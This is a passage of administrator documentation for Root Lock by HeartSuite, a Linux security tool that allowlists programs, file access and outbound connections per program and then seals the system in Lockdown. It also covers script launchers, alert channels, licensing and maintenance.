dmesg | grep HEARTSUITE

With Phase 1 confirmed, follow the Dashboard’s Suggested Next Step to begin Phase 2: Program Allowlisting.

5 - Allowlisting Programs

Overview: By default, any program on a Linux server can execute, access any file, and connect to any destination. Root Lock by HeartSuite controls all three per program — not per user, per program. Two different programs running under the same user get separate allowlist entries with separate permissions. The Dashboard guides you through each approval phase and tracks your progress.

Allowlisting spans three phases of the Root Lock by HeartSuite setup process:

• Phase 2 — Program Allowlisting ([p]): Approve which programs are permitted to execute.
• Phase 4 — File Access Allowlisting ([f]): Approve which files and directories each program can read or write.
• Phase 5 — Internet Access Allowlisting ([i]): Approve which outbound internet destinations each program can reach.

Start from the Dashboard — it shows how many items are waiting in each queue and the Suggested Next Step directs you to whichever needs attention. The review queues manage volume through intelligent grouping, not blind bulk approval.

In this section

• Allowlisting Basics — Core procedures for reviewing and approving programs, file access, and network connections.
• Batch Allowlisting Tools — Activity log format and CLI tools for scripted allowlisting workflows.

5.1 - Allowlisting Basics

Overview: A program running without restrictions on a server can read any file, write anywhere, and connect to any destination. Root Lock by HeartSuite requires every program to be explicitly approved to execute, to access files, and to make network connections — each independently. Even a legitimate tool already on your allowlist — curl, python, a system utility — can only reach the files and network destinations its specific allowlist entry approves. The Dashboard and its review queues walk you through each approval, with full metadata and intelligent grouping to manage volume.

The three review queues

In Setup Mode, Root Lock by HeartSuite logs every program execution, file access attempt, and outbound network connection without blocking anything. These populate three review queues visible from the Dashboard:

• Programs queue ([p]) — programs that attempted to execute
• File Access queue ([f]) — programs that attempted to read or write files
• Internet Access queue ([i]) — programs that attempted outbound connections

The Dashboard shows pending counts for each queue and provides a Suggested Next Step directing you to the queue that needs attention first.

The queues build on each other. File access and network violations are only recorded for programs that have already been approved in the Programs queue. A program making live network connections will not appear in the Internet Access queue until you have approved it in the Programs queue first. If Internet Access or File Access appears empty while you know the system is active, check whether the Programs queue still has pending items.

Working through a queue

Starting a review

The Dashboard displays pending counts for each queue. The Suggested Next Step directs you to the queue that needs attention first. Select a queue to begin reviewing.

Single-key actions

The footer shows the primary actions available at any point:

Two additional keys appear contextually, not in the footer:

Metadata shown in review

Every review item displays metadata directly in the primary prompt — you do not need to press a key to see it. The fields shown include:

When a program has no entry in any package database, Root Lock by HeartSuite displays the raw file path with “(no package)” in the metadata fields. Missing metadata is never hidden — the absence of information is itself a signal.

Individual and grouped review

The review queues handle large volumes without requiring blind bulk approval. Volume is managed through intelligent grouping, not through approving things you cannot see.

Individual review

Each item is presented one at a time with full metadata. Example for a program execution:

Program attempted to execute:
/usr/bin/nano
Package:     nano 7.2-1 -- small, friendly text editor
Attempts:    3

This program has not been allowlisted.

[a] Approve execution
[s] Skip for now
[?] What does approving this mean?

Grouped review

Related items are grouped together (e.g., “847 file reads from /usr/lib/python3/”). Root Lock by HeartSuite shows a sample of the grouped items so you can confirm the grouping makes sense before approving.

Queue summary

When the volume of remaining items is large, Root Lock by HeartSuite presents a summary of what is ahead — total counts and a breakdown by program — before you begin reviewing. This is an orientation view, not an approval surface. Press [a] or [Enter] to proceed into individual review.

Programs queue (Phase 2)

When a program executes without an allowlist entry, Root Lock by HeartSuite logs it. The Programs queue presents it for review.

What the groups mean

Programs are grouped into sections in the program list on the left. These groups determine the order items appear, placing items that need the most investigation first:

The sort order is a workflow convenience that determines which programs appear first. It is not a trust ranking and does not affect the approval mechanism. Every program receives the same approve and skip options.

From the Dashboard, select the Programs queue ([p]). Each program is presented with its package metadata. Press [a] to approve execution or [s] to skip.

File Access queue (Phase 4)

Once you approve a program’s execution, Root Lock by HeartSuite begins logging every file it accesses. Programs typically access shared libraries, configuration files, and data files. The File Access queue presents them with two distinct permission levels:

• Read access — the default first approval level when approving a file read.
• Write access — always includes read access. Granted when approving a file write.

Example review prompt for a file read:

/usr/bin/python3 attempted to read:
/usr/lib/python3/dist-packages/apt/__init__.py
Program:     python3 3.11.2-1 -- interactive high-level object-oriented language
File owner:  python3-apt 2.6.0
Attempts:    12

This file access has not been allowlisted.

[a] Approve read access
[s] Skip for now
[?] What does approving this mean?

Example review prompt for a file write:

/usr/bin/journald attempted to write:
/var/log/journal/machine-id/system.journal
Program:     systemd 252-19 -- system and service manager
File owner:  systemd 252-19
Attempts:    3

This file access has not been allowlisted.

[a] Approve read and write access
[s] Skip for now
[?] What does approving this mean?

From the Dashboard, select the File Access queue ([f]).

Internet Access queue (Phase 5)

Programs that attempt outbound internet connections are logged with the destination IP address and reverse DNS hostname. The Internet Access queue presents these for review.

Example review prompt:

/usr/bin/curl attempted an outbound connection:
Destination: 93.184.216.34 -- example.com (Edgecast, US)
Program:     curl 7.88.1-10 -- command line tool for transferring data with URL syntax
Attempts:    7

This destination has not been allowlisted for this program.

[a] Approve this connection for /usr/bin/curl
[s] Skip for now

From the Dashboard, select the Internet Access queue ([i]).

Progress and completion

While working through a queue, a progress indicator shows your position:

Programs: reviewing 3 of 7  ───────────────────────────────

When a queue is empty:

All program events resolved.
Returning to Dashboard…

Allow several days to a week of observation in Setup Mode to capture activity from systemd timers, cron jobs, and infrequent services before activating Lockdown.

Review queues in Lockdown

In Lockdown the review queues are read-only. [a] and [s] do nothing — you cannot approve items while in Lockdown. The queues show denied items (actions Root Lock by HeartSuite blocked), not pending items awaiting approval.

Use [n] to navigate through denied items one by one. To approve a denied program, file access, or network destination, enter a maintenance period first via the Maintenance ([t]) — this switches to Setup Mode where the review queues become interactive again.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, hs-manage-allowlist provides a browser and editor for existing allowlist entries. See its built-in help:

# hs-manage-allowlist --help

The Dashboard is the supported path for normal use.

When the Programs queue (Phase 2) is empty, the Dashboard’s Suggested Next Step directs you to Phase 3: Script Launchers — or to Phase 4 (File Access) if launchers are not applicable. The Dashboard tracks which phases remain and always shows what needs attention next.

5.2 - Batch Allowlisting Tools

Overview: The Dashboard review queues handle allowlisting for routine setup — grouped review, metadata enrichment, and intelligent grouping cover most workflows. The tools below are for scripted deployments and direct allowlist management where CLI access is required.

batch_record_add.py

batch_record_add.py creates allowlist entries in bulk from a plain text file of program paths — one path per line. For each path, it adds the program with /usr/lib and /etc as default allowed directories. This tool is located in /.hs/sys/ and requires root:

# /.hs/sys/batch_record_add.py <file>

Where <file> contains one absolute program path per line, for example:

/usr/bin/nano
/usr/bin/curl
/usr/bin/wget

hs-manage-allowlist

hs-manage-allowlist provides a browser and editor for existing allowlist entries. It is not a review tool — it operates on entries that have already been created. Use it to inspect, modify, or remove existing entries:

# hs-manage-allowlist --help

Both tools require root. Run them from a root shell:

# sudo -s

Exit with Ctrl-D when finished.

6 - Script Launchers and Python Setup

Overview: Without Secure Script Launchers, every Python, Perl, or PHP script would share the interpreter’s permissions — if python3 is allowed to access the network, every Python script can access the network. Secure Script Launchers solve this by giving each script its own allowlist entry, so you control exactly what each script can do. The Dashboard presents this as Phase 3 when script interpreters are detected on the system.

In this section

• How Script Launchers Work — Security rationale and how Secure Script Launchers enforce script permissions.
• Configuring Script Launchers — Direct use for testing and permanent symbolic link setups.
• Included Script Launchers — List of available launchers for Python, Perl, PHP, etc.

Once launchers are configured (or skipped), the Dashboard directs you to Phase 4: File Access Allowlisting via the File Access queue ([f]) — see Allowlisting Basics.

6.1 - How Script Launchers Work

Overview: Without Secure Script Launchers, every script run by an interpreter (Python, Perl, PHP) shares the interpreter’s permissions. If python3 is allowed to access the network, every Python script inherits that access. Secure Script Launchers solve this by giving each script its own allowlist entry.

Why allowlisting the interpreter is not enough

Interpreter programs (Python, PHP, Perl, Bash) execute code from files. When you allowlist python3, you grant permissions to the interpreter — and every script it runs inherits those permissions. A malicious Python script would have the same file and network access as your legitimate scripts.

graph LR
    subgraph without["Without launcher — interpreter is the unit of control"]
        P["python3\none allowlist entry"] --> SA["script_a.py"]
        P --> SB["script_b.py"]
        SA --> PA["network ✓  files ✓"]
        SB --> PB["network ✓  files ✓"]
    end

    subgraph with["With Secure Script Launcher — each script is the unit of control"]
        L["hs-python-launcher"] --> SA2["script_a.py\nown allowlist entry"]
        L --> SB2["script_b.py\nown allowlist entry"]
        SA2 --> PA2["network ✓"]
        SB2 --> PB2["no network ✗"]
    end

Per-script allowlist entries

Secure Script Launchers create a wrapper that applies the individual script’s allowlist entry instead of the interpreter’s:

• Each script is treated like a standalone program with its own permissions
• One script can have network access while another cannot
• Interpreters can be blocked entirely — only allowlisted scripts run

Using launchers

Root Lock by HeartSuite provides Secure Script Launchers for each supported interpreter (e.g., hs-python-launcher). Once activated via the Dashboard’s Launchers ([l]), every call to that interpreter automatically routes through the launcher — applying per-script permissions without any change to how you run scripts.

See Configuring Script Launchers for the activation steps.

6.2 - Configuring Script Launchers

Overview: An interpreter like Python, Perl, or PHP executes many different scripts — without additional control, a single allowlist entry for the interpreter applies to all of them equally. Secure Script Launchers identify the specific script being executed and apply a separate allowlist entry for it, giving each script its own file and network permissions. The Launchers ([l]) shows detected interpreters and activates launchers in one step.

Activating launchers

From the Dashboard, select Launchers ([l]). The Dashboard shows two sections:

• Script Launcher Status — how many interpreters were detected and how many launchers are pending activation
• Detected Interpreters — the list of interpreter paths found in the activity log, with their current launcher status

When launchers are pending, the Dashboard shows:

2 interpreter(s) found across 47 log event(s).
2 launcher(s) available but not yet activated.

[a] Activate   [s] Skip

Press [a] to activate all pending launchers at once. Root Lock by HeartSuite registers each interpreter with its Secure Script Launcher — from this point forward, every call to that interpreter automatically routes through the launcher, applying per-script permissions.

After activation, the Dashboard confirms which launchers were activated:

Activated 2 Secure Script Launcher(s): python3, perl.
Each interpreter now routes through its launcher. Scripts using
these interpreters will be reviewed on their own permission terms.

Press [q] to return to the Dashboard. The Dashboard marks Phase 3 complete.

If no script interpreters are detected

If none of the known interpreters have appeared in the activity log yet, the Dashboard shows:

No script interpreter log events detected.
You may proceed to the next phase without activating any launchers.

Phase 3 is not required if your system does not use script interpreters.

Skipping launcher setup

Press [s] to skip without activating. Root Lock by HeartSuite notifies you:

Script launcher activation skipped.
Interpreters will remain blocked in Lockdown until approved.

You can return to the Launchers ([l]) at any time to activate launchers before activating Lockdown.

Testing a launcher directly

Before or after Dashboard activation, you can run a script through a specific launcher directly to verify it works under its own permissions:

# hs-python-launcher /path/to/your-script.py

This applies the script’s allowlist entry rather than the interpreter’s. Running the same script with python3 directly uses the interpreter’s broader permissions. This is useful for verifying per-script permissions in isolation before relying on them in Lockdown.

After activating launchers, return to the Dashboard — the Suggested Next Step directs you to Phase 4: File Access Allowlisting via the File Access queue ([f]).

6.3 - Included Script Launchers

Overview: Root Lock by HeartSuite ships with Secure Script Launchers for common interpreters. The Dashboard presents these during Phase 3 (if applicable) when the corresponding interpreters are detected on the system.

Available launchers

• Python 3 (hs-python-launcher)
• Python 2 (hs-python2-launcher)
• Perl (hs-perl-launcher)
• PHP (hs-php-launcher)

For questions about launcher support for other interpreters, contact support@heartsecsuite.com.

7 - Network and Remote Access

Overview: Programs make outbound connections you never approved — telemetry, update beacons, C2 callbacks. Root Lock by HeartSuite blocks all outbound network connections by default. No program can connect to any destination unless you have explicitly approved it. The Dashboard’s Internet Access queue ([i]) guides you through reviewing and approving destinations for each program as part of Phase 5.

Per-program, per-destination enforcement

In Setup Mode, Root Lock by HeartSuite logs every outbound connection attempt without blocking it. These connection attempts appear in the Dashboard’s Internet Access queue. In Lockdown, any connection to a destination not on the allowlist is blocked and an alert is generated.

Network permissions are per-program and per-destination. Approving 93.184.216.34 for curl does not allow wget to connect to the same address — each program must have its own approved destinations. Root Lock by HeartSuite approves specific IPv4 and IPv6 addresses — not CIDR ranges, hostnames, or wildcards.

Using the Internet Access queue

Select the Internet Access queue from the Dashboard ([i]). Each connection shows:

• Program — the full path and package metadata (name, version, description, maintainer)
• Destination — the IP address with reverse DNS hostname (e.g., 93.184.216.34 — example.com (Edgecast, US))
• Attempts — how many times this connection was attempted

Example review prompt:

/usr/bin/curl attempted an outbound connection:
Destination: 93.184.216.34 — example.com (Edgecast, US)
Program:     curl 7.88.1-10 — command line tool for transferring data with URL syntax
Attempts:    7

This destination has not been allowlisted for this program.

[a] Approve this connection for /usr/bin/curl
[s] Skip for now

Press [a] to approve the destination for that program, or [s] to skip it for later.

When the Internet Access queue is empty, the Dashboard marks Phase 5 as complete and updates the Suggested Next Step.

Approving a network destination

Suppose wget is on the program allowlist but no network destinations have been approved. Running:

# wget https://example.com/agreement.html

Root Lock by HeartSuite intercepts the connection and the attempt appears in the Internet Access queue with the destination 45.60.22.168 — example.com. After you approve it, the same wget command completes without generating another entry for that IP address.

Reviewing existing network permissions

To browse or edit network destinations that have already been approved, select Allowed ([a]) from the Dashboard. Existing entries are grouped by category — Programs, File Access, and Internet Access — so you can quickly find and modify network permissions.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, hs-manage-allowlist provides direct CLI access:

# hs-manage-allowlist add -x /usr/bin/wget -n 45.60.22.168

Or look up the entry number first:

# hs-manage-allowlist list | grep wget
277
/usr/bin/wget
# hs-manage-allowlist add -r 277 -n 192.142.166.196

The Dashboard is the supported path for normal use.

For general allowlisting concepts (program execution, file access, write permissions), see Allowlisting Basics.

When the Internet Access queue is empty, the Dashboard marks Phase 5 complete and directs you to Phase 6: Alert Settings.

Inbound connections

Root Lock by HeartSuite manages outbound connections only. Inbound connection filtering — restricting which ports are reachable, blocking port scans, rate-limiting login attempts — is outside its scope. Use the OS firewall (iptables, nftables, ufw) or cloud provider security groups for inbound network controls.

8 - Alert Settings

Overview: In Lockdown, the kernel blocks any execution, file access, or network connection not on the allowlist — whether or not anyone is connected to the Dashboard. Without alerts, a blocked program fails silently. Alerts notify you of these blocks and of state changes the moment they happen. On a stable system with a complete allowlist, alerts are rare — most weeks you may receive none at all. An alert means something genuinely unexpected happened.

When alerts fire

Alerts are a push channel for blocks and state changes that warrant immediate attention. They are not a secondary log stream and not a replacement for the Dashboard.

Alerts are suppressed entirely in Setup Mode. Setup Mode is a high-volume observation phase — logging everything without blocking. Alerting during this phase would produce constant noise before the allowlist is complete. Alerts become active only when Lockdown is active.

Configuring alerts

From the Dashboard, select Alert Settings ([e]). Alert Settings has two tabs: Email and Fleet.

Email tab

Configure SMTP credentials to receive email alerts directly. Required fields:

• Node ID — defaults to the system hostname; set a recognisable identifier (e.g., prod-web-03) so email subjects immediately identify the source machine when managing multiple servers
• SMTP server and Port (default 587)
• Sender and Recipient addresses
• Password (masked on entry; never displayed after saving)

Select Save to store the configuration. Root Lock by HeartSuite validates all fields but does not attempt a live connection at save time. Select Test to send a test email — this is the only moment where SMTP connectivity is verified. If the test fails, the exact SMTP error code is shown:

Test email failed: [535 Authentication credentials invalid]

Check your credentials and try again. No alerts have been sent.

Once configured, the tab shows current settings with the password displayed as (set). Select Edit to modify — the password field is always blank when editing. You must re-enter the password to prevent credentials from appearing in the terminal scroll buffer.

Fleet tab

Configure syslog and webhook delivery for fleet and SIEM integrations. All channels are independent — enable any combination.

Syslog — A toggle (Enabled/Disabled). When enabled, Root Lock by HeartSuite writes all alerts to the system log via /dev/log, using the heartsuite-alert ident, LOG_AUTH facility, and LOG_WARNING severity. No additional configuration is needed on the Root Lock by HeartSuite node. After enabling, the Alert Settings provides an rsyslog forwarding rule example for your SIEM.

Verify syslog delivery with:

journalctl -t heartsuite-alert --since "1 minute ago"

To forward to a SIEM, configure an rsyslog output rule in /etc/rsyslog.d/heartsuite.conf. See the rsyslog omfwd forwarding module documentation for forwarding syntax, and your SIEM’s own documentation for the receiving end:

• Splunk — Get data from TCP and UDP ports
• Elastic — Filebeat syslog input

Webhook — Enter an HTTPS URL. Root Lock by HeartSuite POSTs a JSON payload to this URL on every alert. HTTP (non-TLS) URLs are rejected. Example payload:

{
  "node_id":    "prod-web-03",
  "event_type": "new_program_blocked",
  "timestamp":  "2026-03-31T14:22:00Z",
  "mode":       "Lockdown",
  "lockdown":   false,
  "paths":      ["/tmp/dropper", "/tmp/payload"],
  "count":      2
}

To receive this payload, create an integration in your incident management tool and paste the endpoint URL into the Webhook field:

• PagerDuty — Events API v2
• OpsGenie — Incoming webhook integration
• Slack — Incoming webhooks

Status JSON — A passive monitoring surface at ~/.cache/heartsuite/status.json, updated every 60 seconds. Ansible, Nagios, and Zabbix can read this file via SSH pull. No configuration required — always active when the alert daemon is running. This is read-only; it does not push notifications.

When Phase 6 is complete — at least one push channel configured — the Dashboard marks Phase 6 as complete and unlocks Phase 7 (Lockdown).

What triggers an alert

Administrative state changes

These alerts fire immediately on every configured channel, regardless of accumulation windows or digest mode:

Blocks in Lockdown

These blocks apply a threshold filter and are active in Lockdown only:

Never alerted under any circumstances:

• Anything in Setup Mode
• Repeated blocks of the same program–destination pair already seen in the current session
• File version activity under /tmp/, /var/tmp/, or /dev/shm/
• Dashboard sessions opened or closed
• Successful allowlist approvals

How alerts are delivered

Email — 5-minute accumulation window

Blocks are grouped before delivery. A dropper that installs 40 payloads in 90 seconds produces one email — “40 previously unseen programs blocked in 90 seconds” — not 40 individual messages. Volume and velocity are the attack signal; 40 separate emails fragment that signal into noise.

• The 5-minute window starts on the first block of a given type
• Additional blocks of the same type within that window are added to the pending bundle
• At window close, one email is dispatched covering all accumulated blocks
• Blocks of different types accumulate independently — a network burst does not delay a file modification alert

Digest mode: If more than 3 block alerts are dispatched within a single hour, Root Lock by HeartSuite switches to digest mode for the remainder of that hour. All further blocks are queued and delivered as one digest email at the hour’s end. Administrative state changes are never held — Lockdown activations and state changes are always delivered immediately.

The 5-minute window and hourly cap are fixed, not user-configurable.

Syslog and webhook — immediate

Syslog and webhook emit every alert immediately, without grouping or windowing. SIEM platforms (Splunk, Elastic) and incident management tools (PagerDuty, OpsGenie) apply their own correlation and deduplication — grouping alerts before they reach these systems removes information they need.

With at least one push channel configured, Phase 6 is complete and the Dashboard unlocks Phase 7. Follow the Suggested Next Step to activate Lockdown.

9 - Mode Switching and Lockdown

Overview: When you lock down from Setup Mode, the kernel blocks every program not on the allowlist — including any you forgot to approve. The Dashboard guides the activation through a precondition checklist and a deliberate confirmation. Lockdown seals the allowlist: no program or user, including root, can modify it while the server is running.

System states

Root Lock by HeartSuite has two modes: Setup Mode and Lockdown. Both run on the Root Lock by HeartSuite kernel. Lockdown seals the configuration with filesystem immutability. Both running Lockdown without the immutable seal and running Lockdown with the seal are valid configurations depending on your security requirements. Booting the original Non-HS kernel is not a Root Lock by HeartSuite mode at all; it is the system running without Root Lock by HeartSuite.

In Setup Mode and Lockdown, the HS kernel is loaded. Backups, logging, and the Dashboard all function normally in both. Booting the Non-HS kernel means Root Lock by HeartSuite is completely absent — the HS kernel is not loaded, no blocking or logging takes place, and backups do not run.

The indicator at the top of the Dashboard shows the current protection state, and the Suggested Next Step tells you what to do next.

Trust graduation across modes

Each mode defines a different trust boundary. In Setup Mode, you are trusted to teach the allowlist — anything not on the allowlist is logged but not blocked. In Lockdown, trust is withdrawn from running programs regardless of which user runs them; any program, including one running as root, must be on the allowlist. With the immutable seal applied, your ability to change the allowlist at runtime is also withdrawn — configuration is sealed until the next reboot. Maintenance reopens that window deliberately, and booting the Non-HS kernel for Lockdown recovery requires physical presence — a keyboard and monitor, a serial port, or your cloud provider’s serial console — preventing a remote attacker from triggering it.

Protection state

The indicator at the top of the Dashboard reflects the current protection state:

Setup Mode and Lockdown

At some point, you need to lock down to prevent malicious programs from starting, or to restrict the files and network destinations those programs can reach. Lockdown activation (Phase 7) is locked until all prior phases (2 through 6) are finished. The Dashboard tracks your progress through these phases and will indicate when Lockdown activation is available as the Suggested Next Step.

If you have not added the necessary access permissions or network address permissions to allowlist entries, Root Lock by HeartSuite will block programs from accessing those files and network addresses when you activate Lockdown.

Once Root Lock by HeartSuite is set up, consider continuing in Setup Mode for several days. During that time, the review queues will capture additional file and network access activity — giving you a more complete allowlist before activating Lockdown.

When installing new software, you must return to Setup Mode. For example, the Debian package manager dpkg creates temporary directories during installation. In Lockdown, this generates a permission error and the installation halts. The temporary directory is removed before it can be added to an allowlist entry. Switch to Setup Mode before using dpkg, add any additional access permissions needed, then re-engage Lockdown.

graph TD
    A["Dashboard: Phase Progress complete"] --> B["Review queues empty — ready for Lockdown"];
    B --> C["Dashboard Lockdown button — type YES to confirm"];
    C --> D["[r] Reboot — Lockdown active on next boot"];
    D --> E["Lockdown active"];
    E --> G{Maintenance needed?};
    G --> |"Yes — immutable seal active"| I["Maintenance [t] → guided 3-step process\nStep 1: Boot Non-HS kernel, [u] remove flags\nStep 2: Make changes\nStep 3: Boot HS kernel, review new activity"];
    G --> |"Yes — no immutable seal\n(most installs and patches)"| O["Maintenance [t] → switch to Setup Mode\nOne reboot, HS kernel stays active"];
    I --> J["Make changes, update allowlist from Dashboard"];
    O --> J;
    J --> N["Return to Lockdown from Dashboard"];
    N --> E;

Switching between modes

Dashboard-first Lockdown activation

The Dashboard is where you activate Lockdown. When all preconditions are met, the Suggested Next Step will offer Lockdown activation. The precondition checklist includes:

• All review queues are empty (Programs [p], File Access [f], Internet Access [i])
• Boot configuration is complete (System Setup)
• Phase 7 is unlocked (phases 2 through 6 complete)

When preconditions are satisfied, the Dashboard presents the activation option.

Activating Lockdown

From the Dashboard, select the Lockdown button ([m]). Lockdown displays a precondition checklist, an observation period summary, and a review of your allowlist. When all preconditions are met, type YES (case-sensitive) to confirm activation.

After confirming, the Dashboard offers one reboot option:

• [r] Reboot — Lockdown active on next boot

Lockdown is applied on the next reboot and persists — to make changes, use the Dashboard’s Maintenance ([t]), which guides you through booting the Non-HS kernel and removing the seal.

Returning to Setup Mode

From the Dashboard, use the Lockdown button ([m]) to return to Setup Mode for maintenance. You must return to Setup Mode before installing packages or making configuration changes that Lockdown would block.

Switching mode from a Non-HS Kernel

When booted into a Non-HS kernel, set the mode before rebooting to the Root Lock by HeartSuite kernel:

# sudo hs-mode-switch on

Lockdown: sealing the system

Lockdown seals Root Lock by HeartSuite’s configuration with filesystem immutability, so a compromised root account cannot tamper with the allowlist while the system runs. The seal is system-wide: configuration, system files, accounts, scheduled tasks, and the maintenance tools themselves — all sealed in one step. The Dashboard displays the current Lockdown status and provides the Suggested Next Step for managing it.

Lockdown is applied automatically as part of activating Lockdown from the Dashboard. Once engaged, it persists until you exit through the Dashboard’s Maintenance ([t]), which guides you through booting the Non-HS kernel to remove the seal. The table below shows what changes between Lockdown without the immutable seal and Lockdown with the seal.

What Lockdown does

Once Lockdown is engaged, Root Lock by HeartSuite seals five things at once, all using chattr +i. The Lockdown setup shows the full inventory before you confirm, with per-category counts and a [v] View full inventory action per category. The Maintenance restores them automatically.

The five categories Lockdown seals:

• HeartSuite configuration — your allowlist files, the mode state file, and the kernel image directory. Defends against allowlist tampering and kernel swap by an attacker who escalates to root.
• System integrity — shared libraries (/usr/lib/), systemd unit directories, the SSH server config, and sudo policy. Defends against shared-library injection (a modified libc.so backdooring every program loading it), malicious systemd units installed to fire on next boot, and SSH or sudo policy weakened by a brief root compromise.
• Authentication state — the account database (/etc/passwd, /etc/shadow, /etc/group) and no-login shells. Defends against an attacker who reaches root creating accounts, changing passwords, or converting service accounts into interactive logins.
• Scheduled tasks and login scripts — cron and anacron configuration, environment defaults, and root’s shell profiles. Defends against an attacker scheduling a script to run after a reboot but before Lockdown re-engages, and against bash-profile backdoors that run on the next root login.
• Maintenance tools — file editors (nano, vim, sed, ed) made non-executable, and rm/cp/mv replaced with restricted copies whose write access is limited to the paths the kernel saw those tools used for during Setup Mode. Defends against a compromised approved program leveraging admin tools that run with their own broad scope, not the caller’s.

If the HeartSuite kernel fails to load, the startup script isolates the primary network interface and removes all immutable flags. The machine is then without HeartSuite protection and without network access. Recovery requires booting to the Non-HS kernel from physical or serial-console access, repairing or replacing the failed kernel, and re-engaging Lockdown through the maintenance journey.

Once Lockdown is engaged, the Root Lock by HeartSuite kernel disables chattr entirely — no user or program, including root, can change the immutability flags. This means no allowlist entries, configuration files, or protected directories can be modified, deleted, or added while Lockdown is active.

Lockdown persists across reboots — the HeartSuite startup script re-engages it automatically each time the HeartSuite kernel starts. The only way to remove it is to boot the Non-HS kernel and follow the maintenance journey. Lockdown cannot be engaged in Setup Mode; if you try, an error message is written to the kernel log. The filesystem immutability applied by Lockdown via chattr +i is a flag stored on disk, not in kernel memory. This means that immutable flags set during Lockdown persist across reboots, including reboots into the Non-HS kernel. If you boot the Non-HS kernel for maintenance after Lockdown was active, the Dashboard’s Maintenance wizard runs HS_unlock.sh for you via [u] Remove Flags. For recovery outside the Dashboard, run HS_unlock.sh before attempting to modify any files that were made immutable.

What this closes off

Two of the five seals close attacks that are easy to miss.

Compromised programs cannot borrow another program’s tools. When an approved web server runs rm, the deletion uses rm’s permissions, not the web server’s. rm legitimately needs broad access during maintenance — so its allowlist is broad. A compromised approved program could otherwise borrow that breadth. Lockdown replaces rm with limited_rm, whose own write paths cover only what the system was observed using rm for during Setup Mode. Same for cp and mv.

Nothing planted before the reboot survives it. Lockdown engages after boot — there’s a brief gap between the system coming up and the seal taking hold. Without sealing cron, anacron, environment defaults, and root’s shell profiles, an attacker who reached root before a reboot could plant a script to run in that gap. With those files sealed during the prior Lockdown, the script never reaches them — and on the next boot, nothing has changed.

Automatic Lockdown on boot

By default, the HeartSuite startup script re-engages Lockdown automatically on every Root Lock by HeartSuite kernel boot. Once active, rebooting will always engage Lockdown before you can prevent it.

During Maintenance Step 1, the Dashboard presents a guided choice: [d] Disable automatic Lockdown re-engagement or [k] Keep it. You do not need to edit any scripts manually. To disengage Lockdown when automatic re-engagement is active, boot to the Non-HS kernel; this procedure is discussed in Protecting During Maintenance.

Restoring mutability after Lockdown

You can make files and directories mutable again once Lockdown is no longer active. The Dashboard’s Maintenance ([t]) handles this automatically during the guided maintenance process — Step 1 of 3 offers [u] Remove immutable flags. For recovery outside the Dashboard, run HS_unlock.sh.

If you try to write to an immutable file without removing the flags first, you will encounter the error “could not open file; errno:1.”

Before rebooting, the Maintenance ([t]) sets the GRUB default to the non-HS kernel automatically — no GRUB menu interaction is required. If automatic GRUB configuration does not apply (Alpine or an unsupported bootloader), the Dashboard displays the exact entry to select manually, which requires console access: a keyboard and monitor, a serial port, or your cloud provider’s serial console. Returning to the HeartSuite kernel after maintenance is also automatic: the Dashboard restores the HS kernel as the GRUB default before rebooting back, so no GRUB interaction is needed on the return trip either.

Lockdown commands

These are the actual scripts Lockdown uses. Most users never invoke them directly — the Dashboard’s [m] Lockdown button and [t] Maintenances run them for you.

• HS_lockdown.sh — runs when you apply Lockdown from the Dashboard, and automatically on every HeartSuite kernel boot when auto-engagement is enabled. It seals Root Lock by HeartSuite’s configuration with chattr +i, disables file editors, replaces rm/cp/mv with restricted copies, then engages Lockdown via the kernel.
• HS_unlock.sh — reverses HS_lockdown.sh. The Maintenance runs this for you when you press [u] as Step 1 of the Lockdown maintenance flow. Run it yourself only for recovery outside the Dashboard.
• hs-unlock-progs — internal helper called by HS_unlock.sh. Not invoked directly in normal use.

Setup is complete. When you need to install software, update configuration, or recover from Lockdown, see Maintenance.

10 - Licensing and Subscription

Overview: A subscription is required to activate Lockdown (Phase 7). The Dashboard shows your current subscription status alongside phase progress and alerts.

Subscription

A subscription is required before you can activate Lockdown. Phase 7 (Lockdown) is locked until phases 2-6 are complete and a valid subscription is activated.

The subscription is a simple text file. One subscription can cover up to 9999 servers — at the time of purchase, you specify how many servers the subscription covers. You can purchase additional subscriptions if needed.

After downloading the subscription file, copy it to each server it covers. Regardless of the original filename, it must be copied as HS_license.txt in the /.hs/sys directory. For example:

# sudo cp MyCompany_HS_license.txt /.hs/sys/HS_license.txt

After copying the subscription file, register it using register_HS_license. The command requires the IP address of the Root Lock by HeartSuite Activation Server and the port number (6121). Run the following command, replacing <ip> with the address from your activation email:

# sudo /.hs/sys/register_HS_license <ip> 6121

If activation is successful, the program creates an activation key and displays a confirmation message. If an error occurs, an error message is displayed. You need to activate each server only once.

Dashboard subscription status

The Dashboard shows subscription status when it requires attention — an expired subscription appears as a warning on the Dashboard with a direct link to the upgrade page. A valid, active subscription is not displayed separately; the absence of a warning confirms that the subscription is in good standing. Phase 7 (Lockdown) unlocks when phases 2-6 are complete.

With your subscription active and phases 2-6 complete, proceed to Mode Switching and Lockdown to activate Lockdown.

11 - Advanced Configuration and Maintenance

Overview: Every maintenance window is an attack window — in Setup Mode the kernel logs but stops blocking, or on the Non-HS kernel Root Lock by HeartSuite is not loaded at all, while changes are made. These guides cover how to perform maintenance safely without leaving gaps an attacker can exploit. The Dashboard displays the current protection state — including Lockdown status — and provides the Suggested Next Step throughout maintenance.

Maintenance is a time period during which you temporarily step out of Lockdown to make changes. It is not a separate mode. Root Lock by HeartSuite has two modes: Setup Mode and Lockdown. During maintenance, you either switch to Setup Mode (the kernel logs but stops blocking) or boot the Non-HS kernel (Root Lock by HeartSuite is not loaded at all) depending on whether the immutable seal is active — the Dashboard’s Maintenance ([t]) detects this automatically and guides you through the correct path.

For most maintenance — installing packages, applying patches, editing configuration — the correct path is switching to Setup Mode. That requires one reboot, stays on the Root Lock by HeartSuite kernel, and needs no GRUB interaction. Booting the Non-HS kernel is only required when Lockdown+sealed is active.

The Maintenance appears only when the system is in Lockdown, Lockdown+sealed, or on the Non-HS kernel. It is not shown in Setup Mode — because in Setup Mode, you are already in the maintenance-ready state and the Dashboard’s review queues and Suggested Next Step are the workflow.

In this section

• Protecting During Maintenance — Step-by-step guidance for maintenance windows, from the safety checklist through Lockdown recovery across two reboots.
• File Backup and Versioning — Automatic versioned backups that even root cannot reach under Lockdown — restore any earlier version of a file when needed.
• Cache Adjustment — Tuning the allowlist cache for servers with large numbers of concurrent programs.
• Restricting Kernel Module Loading — Limiting kmod’s access to specific modules for deployments where kmod is allowlisted.
• Updating HeartSuite — Apply a HeartSuite update bundle, including the two-reboot sequence and Lockdown considerations.

11.1 - Protecting During Maintenance

